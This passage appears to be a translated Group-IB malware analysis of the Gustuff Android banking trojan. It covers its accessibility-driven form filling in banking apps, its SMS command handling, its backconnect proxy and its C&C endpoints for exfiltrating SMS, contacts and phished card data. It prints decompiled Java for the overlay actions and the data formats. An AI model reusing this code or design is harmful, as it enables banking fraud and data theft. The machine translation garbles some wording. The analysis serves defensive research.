  • હાલમાં સક્રિય છે. આ કિસ્સામાં, પરિમાણમાં ઑબ્જેક્ટનું id અથવા ટેક્સ્ટ (નામ) શામેલ છે જેની સાથે તમારે ક્રિયાપ્રતિક્રિયા કરવાની જરૂર છે.
  • આદેશ ચલાવવામાં આવે તે સમયે વપરાશકર્તાને દૃશ્યક્ષમ. એપ્લિકેશન આઈડી દ્વારા વિન્ડો પસંદ કરે છે.

  વસ્તુઓ પ્રાપ્ત કર્યા ઍક્સેસિબિલિટીનોડઇન્ફો રસના વિન્ડો તત્વો માટે, એપ્લિકેશન, પરિમાણોના આધારે, નીચેની ક્રિયાઓ કરી શકે છે:

  • ફોકસ - ઑબ્જેક્ટ પર ફોકસ સેટ કરો.
  • ક્લિક કરો - ઑબ્જેક્ટ પર ક્લિક કરો.
  • actionId — ID દ્વારા ક્રિયા કરો.
  • setText - ઑબ્જેક્ટનું ટેક્સ્ટ બદલો. ટેક્સ્ટ બદલવાનું બે રીતે શક્ય છે: ક્રિયા કરો ACTION_SET_TEXT (જો ચેપગ્રસ્ત ઉપકરણનું એન્ડ્રોઇડ વર્ઝન તેનાથી નાનું અથવા તેની બરાબર છે લોલીપોપ), અથવા ક્લિપબોર્ડ પર સ્ટ્રિંગ મૂકીને અને તેને ઑબ્જેક્ટમાં પેસ્ટ કરીને (જૂના સંસ્કરણો માટે). આ આદેશનો ઉપયોગ બેંકિંગ એપ્લિકેશનમાં ડેટા બદલવા માટે કરી શકાય છે.

2. PARAMS_ACTIONS - ના જેવું સરખું PARAMS_ACTION, આદેશોની માત્ર JSON એરે આવે છે.

એવું લાગે છે કે અન્ય એપ્લિકેશનના વિન્ડો ઘટકો સાથે ક્રિયાપ્રતિક્રિયા કરવાનું કાર્ય કેવું દેખાય છે તેમાં ઘણા લોકોને રસ હશે. ગસ્ટફમાં આ કાર્યક્ષમતા આ રીતે લાગુ કરવામાં આવે છે:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

ટેક્સ્ટ રિપ્લેસમેન્ટ ફંક્શન:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

આમ, કંટ્રોલ સર્વરની યોગ્ય ગોઠવણી સાથે, Gustuff બેંકિંગ એપ્લિકેશનમાં ટેક્સ્ટ ફીલ્ડ ભરવામાં સક્ષમ છે અને વ્યવહાર પૂર્ણ કરવા માટે જરૂરી બટનો પર ક્લિક કરી શકે છે. ટ્રોજનને એપ્લિકેશનમાં લૉગ ઇન કરવાની પણ જરૂર નથી - પુશ સૂચના પ્રદર્શિત કરવા માટે આદેશ મોકલવા અને પછી અગાઉ ઇન્સ્ટોલ કરેલ બેંકિંગ એપ્લિકેશન ખોલવા માટે તે પૂરતું છે. વપરાશકર્તા પોતાને પ્રમાણિત કરશે, જેના પછી ગસ્ટફ કારને ભરી શકશે.

SMS સંદેશ પ્રોસેસિંગ મોડ્યુલ

એપ્લિકેશન SMS સંદેશાઓ સ્વીકારવા માટે ચેપગ્રસ્ત ઉપકરણ માટે ઇવેન્ટ હેન્ડલર ઇન્સ્ટોલ કરે છે. અભ્યાસ હેઠળની એપ્લિકેશન ઓપરેટર પાસેથી આદેશો મેળવી શકે છે, જે SMS સંદેશના મુખ્ય ભાગમાં આવે છે. આદેશો ફોર્મેટમાં આવે છે:

7!5=

એપ્લિકેશન બધા આવનારા SMS સંદેશાઓમાં સ્ટ્રિંગ માટે શોધ કરે છે 7!5=, જ્યારે સ્ટ્રિંગ શોધાય છે, ત્યારે તે બેઝ 64 માંથી ઓફસેટ 4 પર સ્ટ્રિંગને ડીકોડ કરે છે અને આદેશને એક્ઝિક્યુટ કરે છે. આદેશો CnC સાથે સમાન છે. એક્ઝેક્યુશન પરિણામ એ જ નંબર પર મોકલવામાં આવે છે જ્યાંથી આદેશ આવ્યો હતો. પ્રતિભાવ ફોર્મેટ:

7*5=

વૈકલ્પિક રીતે, એપ્લિકેશન બધા પ્રાપ્ત સંદેશાઓ રૂટ નંબર પર મોકલી શકે છે. આ કરવા માટે, રૂટ નંબર પ્રેફરન્સ ફાઇલમાં ઉલ્લેખિત હોવો આવશ્યક છે અને સંદેશ રીડાયરેક્શન ફ્લેગ સેટ કરવો આવશ્યક છે. ફોર્મેટમાં હુમલાખોરના નંબર પર એક SMS સંદેશ મોકલવામાં આવે છે:

-

ઉપરાંત, વૈકલ્પિક રીતે, એપ્લિકેશન CnC ને સંદેશા મોકલી શકે છે. SMS સંદેશ સર્વરને JSON ફોર્મેટમાં મોકલવામાં આવે છે:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

જો ધ્વજ સેટ છે નેમ જનરેટર("DEFAULT_APP_SMS") - એપ્લિકેશન SMS સંદેશ પર પ્રક્રિયા કરવાનું બંધ કરે છે અને આવનારા સંદેશાઓની સૂચિ સાફ કરે છે.

પ્રોક્સી મોડ્યુલ

અભ્યાસ હેઠળની એપ્લિકેશનમાં બેકકનેક્ટ પ્રોક્સી મોડ્યુલ છે (ત્યારબાદ પ્રોક્સી મોડ્યુલ તરીકે ઓળખવામાં આવે છે), જેમાં એક અલગ વર્ગ છે જેમાં રૂપરેખાંકન સાથે સ્થિર ક્ષેત્રોનો સમાવેશ થાય છે. રૂપરેખાંકન ડેટા નમૂનામાં સ્પષ્ટ સ્વરૂપમાં સંગ્રહિત થાય છે:

પ્રોક્સી મોડ્યુલ દ્વારા કરવામાં આવતી તમામ ક્રિયાઓ ફાઇલોમાં લૉગ ઇન થાય છે. આ કરવા માટે, એક્સટર્નલ સ્ટોરેજમાંની એપ્લીકેશન "લોગ્સ" (રૂપરેખાંકન વર્ગમાં ProxyConfigClass.logsDir ફીલ્ડ) નામની ડિરેક્ટરી બનાવે છે, જેમાં લોગ ફાઇલો સંગ્રહિત થાય છે. લોગીંગ નામોવાળી ફાઇલોમાં થાય છે:

1. main.txt - કમાન્ડસર્વર નામના વર્ગનું કાર્ય આ ફાઇલમાં લોગ ઇન થયેલ છે. નીચે પ્રમાણે, આ ફાઈલમાં સ્ટ્રિંગ સ્ટ્રિંગ લોગ કરવાથી mainLog(str) તરીકે સૂચિત કરવામાં આવશે.
2. સત્ર-.txt — આ ફાઇલ ચોક્કસ પ્રોક્સી સત્ર સાથે સંકળાયેલ લોગ ડેટાને સાચવે છે. નીચેનામાં, આ ફાઇલમાં સ્ટ્રિંગ સ્ટ્રિંગને લોગ કરવું એ sessionLog (str) તરીકે સૂચિત કરવામાં આવશે.
3. server.txt - આ ફાઇલનો ઉપયોગ ઉપરોક્ત વર્ણવેલ ફાઇલોમાં લખેલા તમામ ડેટાને લોગ કરવા માટે થાય છે.

લોગ ડેટા ફોર્મેટ:

[થ્રેડ[], આઈડી[]]: લોગ-સ્ટ્રિંગ

અપવાદો કે જે પ્રોક્સી મોડ્યુલના સંચાલન દરમિયાન થાય છે તે પણ ફાઇલમાં લોગ થયેલ છે. આ કરવા માટે, એપ્લિકેશન નીચેના ફોર્મેટમાં JSON ઑબ્જેક્ટ બનાવે છે:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

પછી તે તેને સ્ટ્રિંગ રજૂઆતમાં રૂપાંતરિત કરે છે અને તેને લોગ કરે છે.

પ્રોક્સી મોડ્યુલ અનુરૂપ આદેશ પ્રાપ્ત કર્યા પછી લોન્ચ કરવામાં આવે છે. જ્યારે પ્રોક્સી મોડ્યુલને લોંચ કરવા માટેનો આદેશ પ્રાપ્ત થાય છે, ત્યારે એપ્લિકેશન નામની સેવા શરૂ કરે છે મુખ્ય સેવા, જે પ્રોક્સી મોડ્યુલના સંચાલન માટે જવાબદાર છે - તેને શરૂ કરવા અને બંધ કરવા.

સેવા શરૂ કરવાના તબક્કા:

1. ટાઈમર શરૂ કરે છે જે મિનિટમાં એકવાર ચાલે છે અને પ્રોક્સી મોડ્યુલની પ્રવૃત્તિ તપાસે છે. જો મોડ્યુલ સક્રિય નથી, તો તે તેને શરૂ કરે છે.
તેમજ જ્યારે ઘટના ટ્રિગર થાય છે android.net.conn.CONNECTIVITY_CHANGE પ્રોક્સી મોડ્યુલ લોન્ચ થયેલ છે.

2. એપ્લિકેશન પરિમાણ સાથે વેક-લોક બનાવે છે PARTIAL_WAKE_LOCK અને તેને પકડી લે છે. આ ઉપકરણ CPU ને સ્લીપ મોડમાં જતા અટકાવે છે.

3. પ્રોક્સી મોડ્યુલનો કમાન્ડ પ્રોસેસિંગ ક્લાસ લોંચ કરે છે, પ્રથમ લાઇન લોગિંગ કરે છે મુખ્ય લોગ ("પ્રારંભ સર્વર") и

સર્વર::start() હોસ્ટ[], commandPort[], proxyPort[]

જ્યાં proxy_cnc, command_port અને proxy_port - પ્રોક્સી સર્વર રૂપરેખાંકનમાંથી મેળવેલ પરિમાણો.

આદેશ પ્રક્રિયા વર્ગ કહેવાય છે કમાન્ડ કનેક્શન. સ્ટાર્ટઅપ પછી તરત જ, નીચેની ક્રિયાઓ કરે છે:

4. સાથે જોડાય છે ProxyConfigClass.host: ProxyConfigClass.commandPort અને ત્યાં JSON ફોર્મેટમાં ચેપગ્રસ્ત ઉપકરણ વિશેનો ડેટા મોકલે છે:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

ક્યાં:

• id - ઓળખકર્તા, "x" નામની શેર કરેલી પસંદગી ફાઇલમાંથી "id" ફીલ્ડ સાથે મૂલ્ય મેળવવાનો પ્રયાસ કરે છે. જો આ મૂલ્ય મેળવી શકાતું નથી, તો તે એક નવું જનરેટ કરે છે. આમ, પ્રોક્સી મોડ્યુલનું પોતાનું ઓળખકર્તા છે, જે બોટ ID ની જેમ જ જનરેટ થાય છે.
• imei — ઉપકરણનો IMEI. જો મૂલ્ય મેળવવાની પ્રક્રિયા દરમિયાન કોઈ ભૂલ આવી હોય, તો આ ક્ષેત્રને બદલે એક ભૂલ ટેક્સ્ટ સંદેશ લખવામાં આવશે.
• imsi — ઉપકરણની આંતરરાષ્ટ્રીય મોબાઇલ સબ્સ્ક્રાઇબર ઓળખ. જો મૂલ્ય મેળવવાની પ્રક્રિયા દરમિયાન કોઈ ભૂલ આવી હોય, તો આ ક્ષેત્રને બદલે એક ભૂલ ટેક્સ્ટ સંદેશ લખવામાં આવશે.
• મોડલ — અંતિમ ઉત્પાદન માટે અંતિમ-વપરાશકર્તા-દૃશ્યમાન નામ.
• ઉત્પાદક — ઉત્પાદન/હાર્ડવેરના નિર્માતા (Build.MANUFACTURER).
• androidVersion - " ()," ફોર્મેટમાં એક સ્ટ્રિંગ
• દેશ — ઉપકરણનું વર્તમાન સ્થાન.
• partnerId એ ખાલી સ્ટ્રિંગ છે.
• પેકેજ નામ - પેકેજ નામ.
• નેટવર્ક પ્રકાર — વર્તમાન નેટવર્ક કનેક્શનનો પ્રકાર (ઉદાહરણ: “WIFI”, “MOBILE”). ભૂલના કિસ્સામાં, નલ પરત કરે છે.
• hasGsmSupport – સાચું – જો ફોન GSM ને સપોર્ટ કરે છે, અન્યથા ખોટા.
• simReady - સિમ કાર્ડ સ્થિતિ.
• simCountry - ISO દેશ કોડ (SIM કાર્ડ પ્રદાતા પર આધારિત).
• નેટવર્ક ઓપરેટર — ઓપરેટરનું નામ. જો મૂલ્ય મેળવવાની પ્રક્રિયા દરમિયાન કોઈ ભૂલ આવી હોય, તો આ ક્ષેત્રને બદલે એક ભૂલ ટેક્સ્ટ સંદેશ લખવામાં આવશે.
• simOperator — સેવા પ્રદાતાનું નામ (SPN). જો મૂલ્ય મેળવવાની પ્રક્રિયા દરમિયાન કોઈ ભૂલ આવી હોય, તો આ ક્ષેત્રને બદલે એક ભૂલ ટેક્સ્ટ સંદેશ લખવામાં આવશે.
• સંસ્કરણ - આ ક્ષેત્ર રૂપરેખા વર્ગમાં સંગ્રહિત છે; બોટના પરીક્ષણ કરેલ સંસ્કરણો માટે તે "1.6" ની બરાબર હતું.

5. સર્વર તરફથી આદેશોની રાહ જોવાના મોડ પર સ્વિચ કરે છે. સર્વરમાંથી આદેશો ફોર્મેટમાં આવે છે:

• 0 ઓફસેટ - આદેશ
• 1 ઑફસેટ – સેશન આઈડી
• 2 ઓફસેટ – લંબાઈ
• 4 ઓફસેટ - ડેટા

જ્યારે આદેશ આવે છે, ત્યારે એપ્લિકેશન લોગ થાય છે:
મુખ્ય લોગ("હેડર { સેશન આઈડી], પ્રકાર[], લંબાઈ[] }")

સર્વરમાંથી નીચેના આદેશો શક્ય છે:

નામ	આદેશ	ડેટા	વર્ણન
કનેક્શન આઈડી	0	કનેક્શન ID	નવું કનેક્શન બનાવો
સ્લીપ	3	સમય	પ્રોક્સી મોડ્યુલ થોભાવો
પિંગ પૉંગ	4	-	PONG સંદેશ મોકલો

PONG સંદેશમાં 4 બાઇટ્સ હોય છે અને તે આના જેવો દેખાય છે: 0x04000000.

જ્યારે connectionId આદેશ પ્રાપ્ત થાય છે (નવું કનેક્શન બનાવવા માટે) કમાન્ડ કનેક્શન વર્ગનો દાખલો બનાવે છે પ્રોક્સી કનેક્શન.

• બે વર્ગો પ્રોક્સીંગમાં ભાગ લે છે: પ્રોક્સી કનેક્શન и અંત. વર્ગ બનાવતી વખતે પ્રોક્સી કનેક્શન સરનામાં સાથે જોડાઈ રહ્યું છે ProxyConfigClass.host: ProxyConfigClass.proxyPort અને JSON ઑબ્જેક્ટ પસાર કરો:

 {
    "id":<%connectionId%>
}

જવાબમાં, સર્વર SOCKS5 સંદેશ મોકલે છે જેમાં રિમોટ સર્વરનું સરનામું હોય છે જેની સાથે કનેક્શન સ્થાપિત કરવું આવશ્યક છે. આ સર્વર સાથેની ક્રિયાપ્રતિક્રિયા વર્ગ દ્વારા થાય છે અંત. કનેક્શન સેટઅપ યોજનાકીય રીતે નીચે પ્રમાણે રજૂ કરી શકાય છે:

નેટવર્ક ક્રિયાપ્રતિક્રિયાઓ

નેટવર્ક સ્નિફર્સ દ્વારા ટ્રાફિક વિશ્લેષણને રોકવા માટે, CnC સર્વર અને એપ્લિકેશન વચ્ચેની ક્રિયાપ્રતિક્રિયાને SSL પ્રોટોકોલનો ઉપયોગ કરીને સુરક્ષિત કરી શકાય છે. સર્વરથી અને સર્વર પર પ્રસારિત થયેલો તમામ ડેટા JSON ફોર્મેટમાં રજૂ કરવામાં આવે છે. એપ્લિકેશન ઓપરેશન દરમિયાન નીચેની વિનંતીઓ ચલાવે છે:

• http://<%CnC%>/api/v1/set_state.php - આદેશ એક્ઝેક્યુશનનું પરિણામ.
• http://<%CnC%>/api/v1/get.php - આદેશ પ્રાપ્ત કરવો.
• http://<%CnC%>/api/v1/load_sms.php - ચેપગ્રસ્ત ઉપકરણમાંથી SMS સંદેશાઓ ડાઉનલોડ કરી રહ્યા છીએ.
• http://<%CnC%>/api/v1/load_ab.php — ચેપગ્રસ્ત ઉપકરણમાંથી સંપર્કોની યાદી અપલોડ કરવી.
• http://<%CnC%>/api/v1/aevents.php - પસંદગી ફાઇલમાં સ્થિત પરિમાણોને અપડેટ કરતી વખતે વિનંતી કરવામાં આવે છે.
• http://<%CnC%>/api/v1/set_card.php — Google Play Market તરીકે માસ્કરેડ કરતી ફિશિંગ વિન્ડોનો ઉપયોગ કરીને મેળવેલ ડેટા અપલોડ કરવો.
• http://<%CnC%>/api/v1/logs.php - લોગ ડેટા અપલોડ કરી રહ્યું છે.
• http://<%CnC%>/api/v1/records.php - ફિશીંગ વિન્ડો દ્વારા મેળવેલ ડેટા અપલોડ કરવો.
• http://<%CnC%>/api/v1/set_error.php - જે ભૂલ આવી છે તેની સૂચના.

ભલામણો

તેમના ગ્રાહકોને મોબાઈલ ટ્રોજનના ખતરાથી બચાવવા માટે, કંપનીઓએ વ્યાપક ઉકેલોનો ઉપયોગ કરવો જોઈએ જે તેમને વપરાશકર્તા ઉપકરણો પર વધારાના સૉફ્ટવેર ઇન્સ્ટોલ કર્યા વિના દૂષિત પ્રવૃત્તિ પર દેખરેખ રાખવા અને અટકાવવા દે છે.

આ કરવા માટે, મોબાઇલ ટ્રોજનને શોધવા માટેની હસ્તાક્ષર પદ્ધતિઓને ક્લાયંટ અને એપ્લિકેશન બંનેના વર્તનનું વિશ્લેષણ કરવા માટેની તકનીકીઓ સાથે મજબૂત કરવાની જરૂર છે. સંરક્ષણમાં ડિજિટલ ફિંગરપ્રિન્ટ ટેક્નોલોજીનો ઉપયોગ કરીને ઉપકરણ ઓળખ કાર્યનો પણ સમાવેશ થવો જોઈએ, જે એટીપિકલ ઉપકરણમાંથી એકાઉન્ટનો ઉપયોગ ક્યારે કરવામાં આવે છે અને તે પહેલાથી જ છેતરપિંડી કરનારના હાથમાં આવી ગયું છે તે સમજવાનું શક્ય બનાવશે.

મૂળભૂત રીતે મહત્વનો મુદ્દો એ છે કે ક્રોસ-ચેનલ વિશ્લેષણની ઉપલબ્ધતા, જે કંપનીઓને માત્ર ઈન્ટરનેટ પર જ નહીં, પણ મોબાઈલ ચેનલ પર પણ ઉદ્ભવતા જોખમોને નિયંત્રિત કરવાની મંજૂરી આપે છે, ઉદાહરણ તરીકે, મોબાઈલ બેંકિંગ માટેની એપ્લિકેશનમાં, ક્રિપ્ટોકરન્સી સાથેના વ્યવહારો માટે અને કોઈપણ અન્ય જ્યાં વ્યવહારો કરી શકાય છે.આર્થિક વ્યવહાર.

વપરાશકર્તાઓ માટે સુરક્ષા નિયમો:

• Google Play સિવાયના કોઈપણ સ્રોતોમાંથી Android OS સાથેના મોબાઇલ ઉપકરણ માટે એપ્લિકેશન્સ ઇન્સ્ટોલ કરશો નહીં, એપ્લિકેશન દ્વારા વિનંતી કરાયેલા અધિકારો પર વિશેષ ધ્યાન આપો;
• નિયમિતપણે Android OS અપડેટ્સ ઇન્સ્ટોલ કરો;
• ડાઉનલોડ કરેલી ફાઇલોના એક્સ્ટેંશન પર ધ્યાન આપો;
• શંકાસ્પદ સંસાધનોની મુલાકાત ન લો;
• SMS સંદેશામાં મળેલી લિંક પર ક્લિક કરશો નહીં.

સ્ટારિંગ સેમિઓન રોગચેવા, ગ્રુપ-આઈબી કોમ્પ્યુટર ફોરેન્સિક્સ લેબોરેટરીમાં માલવેર સંશોધનમાં જુનિયર નિષ્ણાત.

સોર્સ: www.habr.com